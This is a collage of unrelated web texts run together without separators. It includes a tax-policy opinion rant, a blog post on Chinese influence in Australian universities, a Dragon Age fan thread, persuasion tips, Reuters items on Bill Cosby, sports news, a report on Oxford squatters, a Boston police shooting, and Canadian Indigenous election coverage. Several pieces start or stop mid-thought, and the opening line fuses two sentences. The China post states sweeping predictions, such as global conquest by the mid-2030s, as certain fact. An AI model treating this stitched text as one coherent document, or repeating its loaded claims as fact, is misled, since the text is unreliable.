Military spending, on the other hand, has soared, accounting for 54 percent of federal spending.You have to rebuild the safety net. Otherwise higher taxes will swirl down the Pentagon's $800 toilets
In short, we're running up massive deficits in order to finance wars in Afghanistan, Iraq, and so on, and so rich job-killers can pay the lowest tax rates in the developed world.
I'm all for higher taxes on the rich. I'm for abolishing the right to be wealthy. But liberals who think progressive taxation will mitigate or reverse income inequality are trapped in the 1960s, fighting the last (budget) war in a reality that no longer exists. The U.S. government's top priority is invading Muslim countries and bombing their citizens. Without big social programs, invading Muslim countries and bombing their citizens is exactly where every extra taxdollar collected from the likes of Mitt Romney would go.
The only way progressive taxation can address income inequality is if higher taxes on the rich are coupled with an array of new anti-poverty and other social programs designed to put money and new job skills directly into the pockets of the 99 percent of Americans who have seen no improvement in their lives since 1980.
You have to rebuild the safety net. Otherwise higher taxes will swirl down the Pentagon's $800 toilets.
If you're serious about inequality, income redistribution through the tax system is only a start. Whether through stronger unions or worker advocacy through federal agencies, government must require higher minimum wages. Maximum wages, too. A nation that allows its richest citizen to earn ten times more than its poorest would still be horribly unfair--yet it would be a big improvement over today. Shipping jobs overseas must be banned. Most free trade agreements should be torn up. Companies must no longer be allowed to layoff employees before eliminating salaries and benefits for their top-paid managers--CEOs, etc.
And a layoff should mean just that--a layoff. First fired should be first rehired--at equal or greater pay--if and when business improves.
Once a battery of spending programs targeted to the 99 percent is in place--permanent unemployment benefits, subsidized public housing, full college grants, etc.--the tax code ought to be radically revamped. For example, nothing gives the lie to the myth of America as a land of equal opportunity than inheritance. Aristocratic societies pass wealth and status from generation to generation. In a democracy, no one has the right to be born into wealth.
Because everyone deserves an equal chance, the national inheritance tax should be 100 percent. While we're at it, why should people who inherited wealth but have low incomes get off scot-free? Slap the bastards with a European-style tax on wealth as well as the appearance of wealth.
Now you're probably laughing. Even Obama's lame call for taxing the rich--so the U.S. can buy more drone planes--stands no chance of passing the Republican Congress. They're empty words meant for election-year consumption. Taking income inequality seriously? That's so off the table it isn't even funny.
As I’ve warned before, aquifers are being massively depleted, and it’s happening in places that grow food. California, which is in drought, is now draining its aquifers especially fast. Note also that fracking uses immense amounts of water.
This is also a problem in other nations, most notably India, where some farmers are already losing their farms due to aquifer depletion.
Expect to move to massive desalination, and attempts are on to find cheaper ways to desalinate water. Combined with cheap solar, this may be feasible for some areas. Interior continental areas, however, may not find it so useful. Still, we can expect project to build desalination plants and massive canals driving the water into the interior.
The question with this, assuming it is done, will be who does it: public or private, and how regulated they are. Even if water is theoretically available, it may be much more expensive than it is now, and we can expect that to make food even more expensive.
China is not an ally, even if they're a trading partner to any civilized nation on Earth.
In fact they're actively perpetuating a Communist agenda much like the Cultural Marxist indoctrination you'll see in American Universities except China is doing the same in Australia.
Australia's Domestic Spy Chief has warned Universities and parents as well as students that they need to “be very conscious” of any and all foreign influences in reference to China’s spying efforts on college campuses across the nation.
China has a vested interest in subverting the nation since it is indeed the largest trading partner of Australian industry and if China can push their red-Communist agenda onto the youth they can incite protest and spark an anti-capitalist as well as anti-Democratic indoctrination into the young minds of Australians.
The Australian Security Intelligence Organisation Director General, Duncan Lewis, spoke on Tuesday to Politicians in Canberra warning intensely of the ongoing espionage attempts and foreign interference which he described as an “insidious threat”.
Lewis also said foreign powers were “clandestinely seeking to shape” the opinion of the Australian public, media organizations, and government officials “in order to advance their country's own political objectives”, a move that would likely help push China into a geopolitical stance if rebellion in a future war which having sympathetic territory will help ensure their global domination efforts.
The United States of America has to also realize the growing threat of red-China who by the mid 2030s is set to outpace the United States in military strength and at that time will no doubt attempt to conquer the globe.
American President Donald Trump has warned of China and their currency manipulating along the campaign trail but as President has not made any genuine efforts to reverse the course of trade with the sleeping dragon nation that is already economically winning the global trade war.
Despite Lewis not specifically naming China in his late night testimony to a Parliamentary Inquiry, when he was questioned about China’s involvement, he said he “strongly identified” with comments made by a Senior government official this month that Universities should protect themselves from Chinese influence; no doubt attempt to not break the strong trade alliance but also condemning them; another sign of China's strength in the world as no nation dare challenges the fire breathing powerhouse.
When asked just last week about the Chinese Communist Party’s overseas activities in places like Australia, a Senior official said that Chinese people who were indeed living overseas had to respect the laws of the countries in which they lived, and that if they did not they could be removed.
China is single Australia’s largest trading partner, with multiple business interests between the two nations set forth by a wide-ranging China-Australia Free Trade Agreement signed back in 2015.
Increasingly tense relations between Australia and China have been tested in recent months after the United States, Japan, and Australia voiced concerns over Beijing’s unilateral actions in the disputed South China Sea; a location in which the drums of war are being beat now for a battle towards the end of this century no doubt, based upon the going Chinese artillery and ships in the region including their continued artificial land building and island making.
It's no doubt a fiery world, and China seems to be the nation with the power to breathe the fire as the sleeping dragon awakens this century.
Source:
https://www.reuters.com/article/us-australia-china-university/australia-campuses-warned-of-clandestine-influence-in-apparent-poke-at-china-idUSKBN1CU0LZ
—<i>[email protected]</i>
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<a href="https://www.twitter.com/IWillRedPillYou">@IWillRedPillYou</a>
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I’m gonna get a lot of hate for this but it really doesn’t make sense for an elf in Dragon Age to have a fuller figure. Not only do they biologically have smaller bodies than humans, most of them are either extremely poor or live a nomadic lifestyle, so they probably aren’t getting enough calories in comparison to their energy output to put on weight. It’s great to see artists draw OCs with different body types, especially considering that you can’t change your body without mods in the games, and I like seeing fuller-figured humans, dwarves and Qunari, but it just doesn’t make sense for elves.
See, this is where I have Opinions™
Let people be fat.
Just because canon supports certain things doesn’t mean you have to uphold it. Its the whole reason AU exists, right ?
The thing is that all people have all different body types and hey, if I wanna be a fat elf then I’m damn well gonna be a fat elf, because honestly in real life I am a fat elf
Dragon Age (and all video games in general) aren’t entirely sensitive to race or size or gender even when they’re trying. I give them kudos for trying but even they make mistakes. Many, many mistakes. So therefore they don’t really put into consideration ‘hey chubby and fat people play this game’
If dwarves and humans and quanari can be fuller, why not elves? Why should a Quanari lady whose been a mercenary for years have ‘curvy and fleshy womanly hips’? If all dwarves are small and blocky does that mean they can’t be thin?
I just wanna be the fat, plus-size person that I am in peace.
"Micromax is going to make the announcement tomorrow during the launching of state's new industrial policy. They will be disclosing the details with regard to the plant capacity and investment," the official told agency.
The mobile firm had recently requested the state to help facilitate the project in terms of identifying land. City-based Celkon said it is set to launch its facility in Medchal about 25 km from here next week.
According to a release issued by the company, Telangana Minister for IT Kalvakuntla Taraka Rama Rao (KTR) is expected to inaugurate the unit. Celkon's unit will begin with four production lines and will look to enhance capacity, it said without specifying the investment for the plant.
Y Guru Chairman and Managing Director Celkon Mobiles said: "We are very pleased to be one of the first companies to unveil plans in setting up the manufacturing unit. This unit will boost our ability to meet the demand...as well as contribute to the overall 'Make in India' revolution promoted by the government of India."
Love or Hate. Money or Despair. And you may never get this chance again. As PM Dawn says, “I feel for you. I really do.”
There are books about this. But don’t waste your time. They are all garbage.
I’ve been on both sides of this equation. I’ve had people pitching me.
But mostly, I’ve been scared and desperate and afraid to ask someone to give me, want me, love me, all in the space of an elevator ride or in the time it takes one to ride an elevator.
Perhaps the hardest thing for me was when I was doing my “3am” web series for HBO.
I had to walk up to random strangers at 3 in the morning on the streets of New York and convince them within 5 seconds to spill their most intimate secrets to me rather than kill me.
Not quite an elevator pitch but the same basic idea. I had a lot of practice. I probably approached over 3000 people cold.
In some cases people tried to kill me. In one case I was chased. In other cases people opened up their hearts and I am infinitely grateful to them.
The ideas below have worked for me in the hundreds of times I’ve had to be persuasive. Either in writing, or in person. In business and in friendships and in love. I hope variations on it can work for you. You decide.
A) Who are you?
People want to know they are talking to a good, honest, reliable person that they can trust and perhaps even like, or love.
Yes, love.
They won’t love you by looking at your resume.
You have to do method acting. Imagine what your body would feel like if they already said “Yes” even before you open your mouth.
You would be standing up straight, smiling, palms open, ready to close the deal. You have to method act at the beginning of your pitch.
If you are slouched and your head is sticking out then your brain is not as well-connected to your nervous system and you won’t be in “flow”.
I can drag out the science here but this is a Facebook status update and not a peer-reviewed scientific paper for the Justice League of America.
The reality is: when you’re slouched over, not only are you not using the full potential of your brain, but you look untrustworthy.
B) Relax
Think about how you breathe when you are anxious and nervous.
I will tell you how I breathe: short, shallow breaths in my upper chest.
So do the reverse before a ten second pitch.
Breathe deep and in your stomach. Even three deep breaths in the stomach (and when you exhale try to imagine your stomach almost hitting your back) has been shown to totally relax the mind and body.
People sense this. Again, this builds trust and relaxes you.
Now, even though you haven’t said a single word, you’ve probably done the two most important things for persuading someone.
C) UHHH. YEAH. UHHH. MMMM-HMMM. UH-HUH
I have a hard time with this. It seems natural to say, “yup” or “right” or “uh-huh” or whatever.
But here’s the facts (and, again, there’s been studies on this): people perceive you as stupid when you do this.
Just keep quiet when someone is talking.
Then, when someone is done speaking, wait for two seconds before responding. They might not be done yet. And it gives you time to think of a response. If you are thinking of a response while they are talking, then you aren’t listening to them.
People unconsciously know when you are not listening to them. Then they say No to you.
D) The four U’s
FINALLY, now we’re getting to the heart of the matter. THE ACTUAL NUTS AND BOLTS OF PERSUASION
By the way, I’ve googled “the 4 U’s” and each time I get a different set of 4. So I’m going to use the 4 that have worked for me the best.
This is not BS. This is not a way to convince someone to do something they don’t want to do. This is a way for you to consolidate your vision into a sentence or two and then express it in a clear manner.
This is the way to bond and connect with another person’s needs instead of just your own pathetic wants.
You can use this in an elevator pitch, on a date, with your children, on your mother, whatever. But it works.
Think about these things when talking:
Urgency Why the problem you solve is URGENT to your demographic. For example: “I can never get a cab when it rains!” Unique Why is your solution unique: “We aggregate 100s of car services into one simple app. Nobody else does this.” Useful Why is your solution useful to the lives of the people you plan on selling to or deliver your message to: “We get you there on time.” Ultra-Specific This shows there is no fluff: “Our app knows where you are. Your credit card is pre-loaded. You hit a button and a car shows up in 4-5 minutes.” Of course the example I give is for Uber but you can throw in any other example you want. I’ll throw in a fifth “U” User-friendly In other words, make it as easy as possible for someone to say “yes”. Like a money back guarantee, for instance. Or a giveaway. Or higher equity. Or testimonials from people you both know. Etc. OH! And before I forget, a sixth U Unquestionable Proof This can be in the form of profits. Or some measurable statistic. Or testimonials. Or a good wing-man. Whatever it takes.
E) Desire
A lot of people say you have to satisfy the desires of the other person in order for them to say “yes”.
As much as we would like to think otherwise, people primarily act out of self-interest.
The less they know you, the more they will act of self-interest because to do otherwise could potentially put them in danger. We all know that kids shouldn’t take candy from strangers.
In an elevator pitch, the investor is the kid, what you are asking is the candy, and you are the stranger. So their gut reflex, unless you make the candy super-sweet, is to say “no”.
So make sure you make your candy sweeter by sprinkling in their desires.
And what are their desires?
recognition
rejuvenation
relaxation
relief
religion
remuneration
results
revenge
romance
If you can help them solve these URGENT problems or desires, then you they are more likely to say “yes” to you.
I don’t know what you are selling, but hopefully it’s not to satisfy their desire for revenge. But if it is, don’t do anything violent.
The one time I had to sell romance on an elevator I had to do three things: tell her life would be ok, make sure I knew her address and last name, and send her a teddy bear and flowers the next day.
But that’s for another story.
BUT FIRST
F) Objections
Everyone is going to have gut objections.
They’ve been approached 1000s of times before.
Do you know how many times I’ve been approached to have sex in an elevator?
None.
But probably many others have and you have to put up with their non-stop objection.
I will list them and then give solutions in parentheses:
No time (that’s ok. It’s on an elevator. So they have elevator-length time. The key here is to stand straight and act like someone who deserves to be listened to).
No interest (you solve this by accurately expressing the urgency of the problem)
No perceived difference (but you have your unique difference ready to go)
No belief (offer unquestionable proof that this works)
No decision (make their decision as user-friendly as possible)
With great power comes great responsibility.
Most people don’t have the power of persuasion. They mess up on each of the points I’ve outlined above. It takes practice and hard work.
But this is not just about persuasion. It’s about connection.
It’s about two people, who are probably strangers, reaching through physical and mental space and trying to understand each other and reach common ground.
It’s not about money. It’s not about the idea. It’s not about yes or no.
By Steve Gorman
LOS ANGELES, July 22 (Reuters) - Bill Cosby lost his latest bid to fend off a lawsuit accusing him of sexually abusing a 15-year-old girl at the Playboy Mansion in Los Angeles in 1974, as the California Supreme Court on Wednesday denied the comedian’s petition to review the case.
The accuser’s attorney, Gloria Allred, said the decision cleared the way for litigation brought by Judy Huth, now in her 50s, to proceed, and that she intended to take Cosby’s sworn deposition within the next 30 days.
“We are looking forward to Mr. Cosby answering questions under oath at his deposition,” Allred said. “It’s a very big victory.”
There was no immediate response from Cosby or his lawyers, who have consistently denied allegations of sexual misconduct lodged against the 78-year-old performer.
But the legal setback for Cosby came as his defense team mounted a new public relations blitz on his behalf.
In a round of interviews with various news outlets, including ABC’s “Good Morning America” and the New York Times, Cosby lawyer Monique Pressley said the media have distorted deposition testimony made public this month from a separate sexual assault lawsuit Cosby settled in 2006.
Pressley, a newly hired Cosby attorney based in Washington, said that while the deposition may have proved embarrassing to Cosby, nothing in his sworn statements marked an admission of criminal wrongdoing or of sexual encounters that were anything but consensual.
Huth is one of more than 40 women who have come forward in the past year to say that they were raped or molested by Cosby after he plied them with drugs or alcohol in incidents dating back decades.
The complaint filed by Huth against Cosby is one of at least four pending civil lawsuits stemming from such accusations, but Allred said Huth’s is the only one seeking damages for the alleged sexual misconduct itself.
The others are defamation suits whose principal causes of action allege the entertainer falsely branded his accusers as liars by denying that he ever sexually assaulted them.
In addition, Los Angeles police are conducting a criminal investigation into a complaint brought against Cosby, an LAPD spokesman confirmed on Wednesday. He declined to give details.
Cosby has never been charged.
Los Angeles County prosecutors declined last year to bring a criminal case against him over Huth’s allegations, saying the matter dated back too far under California’s statute of limitations.
Allred said the statute is more forgiving of civil complaints of childhood sexual abuse, allowing for a claim of repressed psychological injury that is discovered by the accuser in the last three years.
Cosby’s attorneys had sought dismissal of Huth’s lawsuit on procedural grounds, arguing among other things that she lacked required certification from a mental health professional to support her claims. They also said in court papers that Huth sued Cosby only after she failed to extort money from him to buy her silence.
A Los Angeles Superior Court judge ruled against Cosby, and a state appeals court refused to hear the case in May. On Wednesday, the state Supreme Court did likewise, a decision that Allred said leaves Cosby no further legal recourse for blocking the lawsuit.
She said she expects to take Cosby’s deposition in Massachusetts, where the performer resides.
The decision comes weeks after a federal judge in Philadelphia unsealed excerpts of a deposition Cosby gave in a separate sexual assault case he settled with a former Temple University employee, Andrea Constand, for an undisclosed sum in 2006.
“Yeah, yeah, I was a bully. I was a bully in the sense that I tried to control the narrative." Lance Armstrong unburdens himself last night to Oprah Winfrey. Part two of their interview airs tonight. ( Mandel Ngan / AFP/GETTY IMAGES PHOTO ILLUSTRATION )
2. “I didn’t invent the culture, but I didn’t try to stop the culture. It’s hard to talk about the culture. I don’t want to accuse anyone else. I’m here to acknowledge my mistakes.” 3. “I will spend the rest of my life trying to win back trust and apologizing to people.” 4. “I looked up the definition of a cheat to gain an advantage. I didn’t view it that way. I viewed it as a level playing field.”
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Love him or hate him, it's tough to question the toughness of three-time UFC title challenger Chael Sonnen.
"The American Gangster" has showcased on many occasions his willingness to fight elite competition on just days notice, but the news breaking on Wednesday puts things into a new perspective.
In a video preview for an interview with TSN's Michael Landsberg, which will run at 5 p.m. ET Wednesday, Sonnen all but admits he had emergency surgery to have a piece of his colon removed on Nov. 15—just 24 hours before his light heavyweight clash with Rashad Evans at UFC 167. Sonnen said:
I would say this: I don't make excuses before fights or after fights, and if I had anything to deal with, I'll deal with it. But when it's time to fight, I'll walk out there and fight ... It's a little bit of a surprise that you had that information. Look here's the bottom line: When I sign a contract to fight, I'm agreeing to fight a guy on a certain day at a certain time and in a certain venue. It's my job to feel good when I go out and do it and if I don't that may play a hand in the fight.
Many fans and analysts were surprised with how poorly Sonnen performed at UFC 167, having no answers for Evans' top control and ground-and-pound once the fight hit the mat in the first round.
However, given the latest development surrounding the Team Reign Training Center fighter's physical health heading into that bout, perhaps the boisterous 36-year-old deserves a little leeway.
Sonnen is 3-4 in his past seven bouts and will face former Pride champ Wanderlei Silva after they wrap up Season 3 of The Ultimate Fighter, in which they will head coach opposite one another.
Former long-time middleweight champion Anderson Silva was invited to be an assistant coach on former rival Sonnen's team but declined the offer since he would not be in Brazil during the time of filming, according to MMA Fighting.
Neither Evans nor Sonnen have publicly commented on the matter since the TSN video preview was released.
A poll conducted for the Canadian Automobile Association found that 33 per cent of respondents admitted they have texted while stopped at a red light in the last month. ( Dreamstime )
It has to stop. As Jeff Walker of the CAA says, the effect of texting at a light lingers well after the light turns green, making it a dangerous driving habit. He rightly points out that it is socially unacceptable to drive drunk, “and that’s where we need to get with texting.” Still, people continue to text and drive even though it actually causes more deaths than impaired driving. Indeed, the Ontario Provincial Police reported in March that distracted driving was the cause of more deaths on provincial highways than any other factor for the third consecutive year, contributing to 69 in 2015. Worse, the province reports there is a distracted driving collision every 30 seconds.
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BY Brian Sciaretta Posted
October 30, 2017
7:00 AM SHARE THIS STORY
DESPITE BEING only 20 years old, Antonee Robinson has been through a lot in his young career. A few years back he signed a Premier League professional contract with Everton and had been on the verge of a breakthough both with the club’s first team as well as with United States youth national teams. A serious injury put those plans on hold but Robinson is back on track while on loan with Bolton of the English Championship.
Back in August, Bolton announced that it had acquired Robinson on a loan from Everton through January in a rush to sign players after its promotion from third-tier League One last season. It was a win-win situation as Bolton was looking for a left back and Robinson was looking to start his professional career.
Many expected Bolton to struggle this season, and so far that has proved to be the case as Bolton sit in last place after 14 games. But things have been looking slightly better for the Wanderers lately who have secured five points from their last three games.
Robinson has made six league appearances with Bolton and has seen action in three Cup appearance, marking the start to his professional career. On Saturdayhe came on just after halftime in a 1-1 draw with Fulham.
“It's been going really well,” Robinson told American Soccer Now. “It's obviously a new experience being with a first team. The results aren't going our way at the moment but it's a good group of lads. It's good to be around men instead of boys and playing against men. It's been a good experience so far. I feel like I’ve been playing well.
“Realistically, you never know if you’re going to stay at one club or not. I’ve been [at Everton] since I was younger but it’s good to have the experience of going out and meeting a new group of lads and getting out of your comfort zone.”
Bolton manager Phil Parkinson was happy to have him.
“We have been looking for a left back for a while,” Parkinson said. “We like the look of Antonee, he is a good defender. eHe has great athleticism. He’s young, hungry, and was keen to join us. He is a good addition to the squad.”
Robinson's journey to the professional ranks has been a rollercoaster ride. A longtime member of Everton’s Academy, Robinson was named Everton’s U-18 Player of the Season in 2015. Afterward he signed his first professional contract.
At just 17, he joined the club for preseason in 2015 but in his very first game with Everton’s first team he suffered a very serious injury that required microfracture surgery in the cartilage of his knee—a procedure from which some never fully recover.
“It was surreal because I was training with them and then they took me on tour with them,” Robinson said. “I was treated like a real professional. It was a really great experience. I knew all the players and I was training with them as if it was normal. They were all a lot less intimidating than I thought they would be.
“But I got a serious knee injury and I was out for the whole season. At the time I was really scared. I knew I was going to be out for a long time. I only had one year left on my contract and I knew I would miss the rest of the season. I didn't know if another team was going to give me a chance. It was frightening but I worked hard to get back fit. The youth team manager just looked at me and said that we'll give you another year to prove yourself. I did well the following year.
“My Dad always told me that any injury you get will test your mentality, and if you get through it you'll be a better player for it.”
After missing all of 2015-16, Robinson rewarded Everton’s faith in him during the 2016-17 campaign, making three appearances in last season’s Checkatrade Trophy, including Everton’s 2-0 victory over Bolton at Macron Stadium. He also was a regular with Everton U-23 side that won the Premier League 2 title.
As this season got underway, Everton and Robinson both agreed that he needed a loan to play first-team soccer. Despite his short-term status—the loan is only through January—Robinson is determined to help his new squad avoid relegation.
“To be honest, we just need a bit of luck,” Robinson said. “There's not much else the lads can do. Especially at the start of games, we've been playing well. Obviously it's been disheartening when you concede a goal late when you 've been playing well. But when we get the momentum, we'll start getting a few more results and hopefully avoid relegation.”
Of course, Robinson is also adamant on returning to international soccer and hopes to be part of the future plans for the United States. Left backs in particular have been especially tough to come by for the U.S. and Robinson has been playing the position for years. Formerly a left wing with Everton's academy, Robinson filled in at left back when another player was injured and the position fit like a glove. Since then he has never looked back.
The England native is a dual-national who was born in Milton Keynes and raised in Liverpool. His father, Marlon Robinson, was also born in England but moved to White Plains, New York, during his childhood and was a standout on Duke University's soccer team from 1981-1984 and helped Duke advance to the NCAA final in 1982.
During his time in the United States, Marlon acquired American citizenship which he was then able to pass onto Antonee. Growing up, Antonee has made an occasional trips to the United States to visit and holds particular fondness for his family trips to Florida as well one trip to Texas to play with Everton at the Dallas Cup.
In 2014, the younger Robinsone was briefly a part of the United States U-18 team under Javier Perez but he eventually fell out of the picture following his injury. He was not part of the 2017 U.S. U-20 team.
Robinson recalls the experience of playing for the United States as a career highlight. Even after his injury, he kept in touch with a few of his teammates including Brooks Lennon who played for nearby Liverpool at the time. He even recalls with laughter talking with Tim Howard when he was still at Everton although he Robinson believes Howard “didn’t know I was even American.”
Robinson is well aware that despite the setbacks of the United States internationally, the Olympics are a big priority and that Americans in his age group are doing well professionally. When the U-23 team begins to assemble for Olympic preparation, he hopes to be a part of it.
“It was brilliant,” Robinson recalled of his previous U.S. involvement. “I got to meet the team and take my first steps in international football. They were very welcoming even though I was from England. It was nice to represent them and they showed a lot of faith in me in asking me to come along. I'd love to go again.
Check out the hands on after the break.
One of the richest universities in the world, Oxford University, is using a quick, brutal legal tool to evict homeless people. Vanessa Baird reports.
The 21 homeless people who have been living in a disused building in the centre of Oxford since February have been given just five days to leave, a court decided this week.
At the request of Oxford University, the court issued an Interim Possession Order for the squatters to quit Old Mill at Osney, by Sunday 12 March. The building had been left empty by its university owners for seven years.
The homeless group, including elderly people and single women, were recently evicted from a disused VW garage owned by Oxford University’s Wadham College, which is redeveloping the site to create135 student flats. Wadham College described the squatters as ‘good tenants’ and local residents said they were ‘good neighbours’.
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Interim Possession Orders (IPOs), introduced in 2012, are a quick and brutal way for property owners to reclaim possession of their unused and neglected property. It becomes a criminal offence to remain in the building 24 hours after an IPO is served. Anyone doing so can face a fine or prison. Effectively, IPOs criminalize homeless people.
Every night, an estimated 100 people are sleeping rough in Oxford, a situation made worse by local council cuts in funding of homeless shelters. Miranda Shaw, a local resident, commented: ‘It’s ridiculous that people are still on the streets in one of the richest cities in the world with so many empty buildings. The university owns so much of the city centre.
‘It would be incredible if the University could show leadership in the face of corrosive cuts at both a national and city level. We are facing a social emergency and this is now the second time that Oxford University has closed its doors. We hope that this will change in the future.’
Usually IPOs are enforced within 24 hours, but the group, now calling itself Osney Open House, were given an extension until Sunday. In a statement read in court they said:
‘The persons unknown feel that an IPO is inappropriate in this case and that a conventional Possession Order would allow conclusion of the negotiations with Oxford University Estates and opportunity to leave the building safely.’
Oxford University said that it requested an extension so that ‘the occupiers are given a few days to pack up their belongings without compromising our right to reclaim the property’.
It added: ‘We have been given to understand that the occupiers will be vacating over the weekend. Homelessness is a serious issue in Oxford, and we will continue to work with local stakeholders on this matter. Osney Open House have made a serious point by drawing attention to this issue, and we hope to continue working with them. In particular, we would like to see how we can work with and support local homeless charities in the future.’
Perhaps by releasing some of their many empty buildings for use by self-help projects to tackle homelessness – like, Osney Open House, for example?
After Usaama Rahim was shot Tuesday morning, a man who identified himself as his brother took to Facebook to say Rahim was shot in the back while talking to their father on the phone. That contradicted an account from police, who said they were forced to shoot Rahim after he refused to drop a military-style knife.
Police showed a surveillance video of the shooting to Boston-area religious leaders Wednesday. They said in a news conference that they did not see Rahim shot in the back or talking on the phone.
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“What the video does reveal to us very clearly is that the individual was not on a cell phone, was not shot in the back, and that the information presented by others not on the case was not accurate,’’ Darnell Williams, president of the Urban League of Eastern Massachusetts said.
Other faith leaders said the video was not high quality, but that they could tell Rahim was pursuing the Boston police officer and FBI agent who had approached him.
Imam Abdullah Faaruuq of the Mosque for the Praising of Allah called the video “vague,’’ but said that at least part of the investigators’ account was supported.
“It wasn’t at a bus stop,’’ he said. “He wasn’t shot in the back, he was approaching them.’’
Faaruuq went on to say that his focus is now on Rahim’s family.
“The family is pained and suffering, and however this pans out, a mother has lost a child. Her youngest.’’
The several religious leaders at the news conference repeatedly refused to answer questions about the investigation, and said they would allow law enforcement officers to do their jobs.
Unnamed law enforcement officials said earlier today that Rahim and an Everett man arrested last night, David Wright, plotted to behead a law enforcement official on Tuesday. The FBI said in a press conference that they had been monitoring Rahim 24 hours a day as a part of a Joint Terror Task Force investigation.
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The Council on American-Islamic Relations released a statement about Tuesday’s incident, expressing a need to question the case:
Enlarge this image toggle caption Andy Ignatov/Andy Ignatov for NPR Andy Ignatov/Andy Ignatov for NPR
Last month, a bunch of Ukrainian business owners flew to New York to try to convince a bunch of New York portfolio managers and private equity funds to invest in Ukraine. There are lots of reasons that it is crazy to hold an "Invest in Ukraine" conference right now, while a war is going on. But "Invest in Ukraine" isn't just the title of the conference, in many ways it is what the whole year of crisis has been about.
Today on the show, the revolution in Ukraine was supposed to make the country a better place for Western investment, but it ended up sparking a war that is scaring that investment away.
They were assailed for glorifying the criminal lifestyle. But Winnipeg’s Most also used their star power to help draw attention to the issue of missing and murdered Indigenous women and girls, buying headstones for Carolyn Sinclair, a 25-year-old from the Mathias Colomb Cree Nation, whose body was found in a city Dumpster, and Divas Boulanger, a transgender Berens River woman, whose body was found at a highway truck stop. Prefontaine, who’d lost an aunt to murder growing up, said the issue hit “close to home.”
In much the same way, his death is affecting young men around him. Karmen Omeasoo, considered the “grandfather of Native hip-hop,” penned a moving tribute to the fallen rapper, opening up about a suicide attempt that’s left him unable to close his left hand: “I feel for all the lives we have lost to this demon—it’s time to start speaking about it daily. We can’t lose any more.”
Prefontaine’s death came days after the start of a coroner’s inquest into Nunavut’s horrific suicide rate—40 times the national average for boys aged 15 to 19. But in that 450-word Facebook post, Omeasoo—better known by his stage name, Hellnback—said more about the suicide epidemic tearing apart Indigenous communities than all the federal party leaders combined have at a major public forum in this election cycle.
Indeed, in the past seven weeks—during which there have been four leaders debates covering wide-ranging topics—the leaders have been effectively silent on the critical issues facing Indigenous people. In a typical eight-week period in Canada, more than 33,000 Indigenous people are violently victimized and 11 are murdered, more than 17 times the national average. Yet in the Maclean’s National Leaders Debate on Aug. 6, Indigenous issues earned only passing mentions. In the Globe and Mail debate on the economy, they got a mention when Liberal Leader Justin Trudeau plugged his plan to boost spending on First Nations education. At this week’s Munk Debate in Toronto, they got no mention. Liberal candidate Michèle Audette, an Innu and Liberal candidate in Quebec, notes the leaders were not solely to blame: they weren’t asked the urgent questions.
Related: Scott Gilmore: A real nation would not let this happen
On the campaign trail, in a country that has lost more than 800 Indigenous women to violence since 1995, compared to two men lost to domestic terrorism, the discourse has been dominated by fears of Islamic State and a new anti-terror law—a wedge issue that’s split progressive votes.
“I don’t want to play oppression Olympics,” says Indigenous scholar Hayden King, contrasting the parties’ silence to the massive debate on the Syrian refugee crisis sparked by the death of three-year-old Alan Kurdi last month. “But we have Native children being taken from families, kids dying of preventable causes in northern communities, and we haven’t talked about any of it. You really have to ask: What will it take to compel Canadians to make these electoral issues?”
It’s all the more galling given the election was called just weeks after the release of the findings on Canada’s Truth and Reconciliation Commission (TRC) on June 2. Canada, it seemed then, was finally at a turning point, ready to acknowledge its dark past and formative role in creating a situation whereby an Indigenous child born tomorrow is expected to live seven fewer years than any other Canadian. He has a 50 per cent chance of growing up in poverty and better odds of being jailed than of graduating high school. If born on Saskatchewan’s Ahtahkakoop Cree Nation, he has a better chance of being infected with HIV than in some African countries.
“Canadians should be appalled,” says B.C. consultant Michelle Corfield, former vice-president of the Nuu-Chah-Nulth Tribal Council, where she oversaw economic development. “Every citizen of Canada deserves to live in a country that recognizes them as equals. If we continue to do nothing, Indigenous people will fall from Third to Fourth World living conditions.” The TRC provided a once-in-a-lifetime opportunity to meaningfully address these issues, she adds. Unless something changes in the next three weeks, she fears we’ll have wasted it entirely.
Over the weekend, author and university administrator Wab Kinew, Rwandan genocide survivor Eloge Butera, Broadbent Institute director Jonathan Sas and 19 honorary witnesses to the TRC issued a call to action, urging Canadians to “make reconciliation an election issue.” Kinew told Maclean’s he remembers NDP Leader Tom Mulcair and Liberal Leader Justin Trudeau “immediately in front of news cameras” after the tabling of the TRC report. “When it was politically expedient to jump on the stories of my father, of our ancestors, I remember them being there.”
“At this late stage, it will certainly be difficult to insert reconciliation into the conversation,” says Justice Murray Sinclair, chair of the Truth and Reconciliation Commission. “Time’s a-wasting; and the opportunity has almost passed.
“The reality is the federal government has been largely responsible for causing this harm, and the chaos that results lies in their lap. And to a certain extent, they are a bit confused—looking for direction, continuing to dither while they try to gauge the public appetite.”
Sinclair says he always knew the federal government would be the slowest agent of change; he notes strides made by educators—who are changing school curricula in several provinces—by churches and private industry. But federal players are approaching this from a political perspective: Are there votes in it or not? “I think that’s what’s at play here. But at some point we’re going to have to have a serious conversation: The federal government can’t continue to ignore this. They’re going to have to show some leadership.”
In the meantime, Sinclair says, the public needs to recognize where it can effect change. This, he adds, “is going to be the most effective way to combat racism, which is still quite prevalent in our society.” Sinclair believes reconciliation will take hold neighbourhood by neighbourhood, street by street, family by family. “The reality is, it took us 150 years to get to this situation so it’s going to take us a while to get out of it. Let’s not get frustrated by lack of action in the immediate future.” Frustration, however, is what many people feel right now.
There were hopeful signs, after all, that things would be different this time around. Soon after the campaign launched, the leaders of the Liberal, NDP and Green parties addressed the Assembly of First Nations (AFN). They made significant promises: The Liberals and Greens have agreed to adopt each of the TRC’s 94 recommendations and the NDP have pledged to act on adopting them. Neither the Liberals nor the NDP have costed their reconciliation planks. The Conservatives have said they will wait for the commission’s full report, due next year, before making any commitments. The Liberals, NDP and Greens have said they would adopt the United Nations Declaration on the Rights of Indigenous Peoples; all three are calling for an inquiry into the issue of missing and murdered Indigenous girls and women.
One of the Liberals’ first campaign promises in August was to invest $2.6 billion for on-reserve education and $500 million over three years for school infrastructure, notes Michèle Audette, a Liberal candidate and former president of the Native Women’s Association of Canada; over the past 18 months, Audette, who is challenging NDP incumbent Charmaine Borg in the Montreal-area riding of Terrebonne, was part of the team that drafted the party’s Indigenous platform with Paul Martin.
The Conservatives have not released an Indigenous platform, but in the 2015 budget, they pledged to direct $200 million over five years to Indigenous education and re-announced plans to direct $500 million over six years to on-reserve schools.
The NDP, meanwhile, is planning to release more details on its Indigenous platform later in the campaign; sources suggest it will include investments to First Nations education and infrastructure.
The Idle No More movement initiated a massive push for change; and a huge number of activists have been channelling their energy to get-out-the-vote initiatives like Indigenous Rock the Vote.
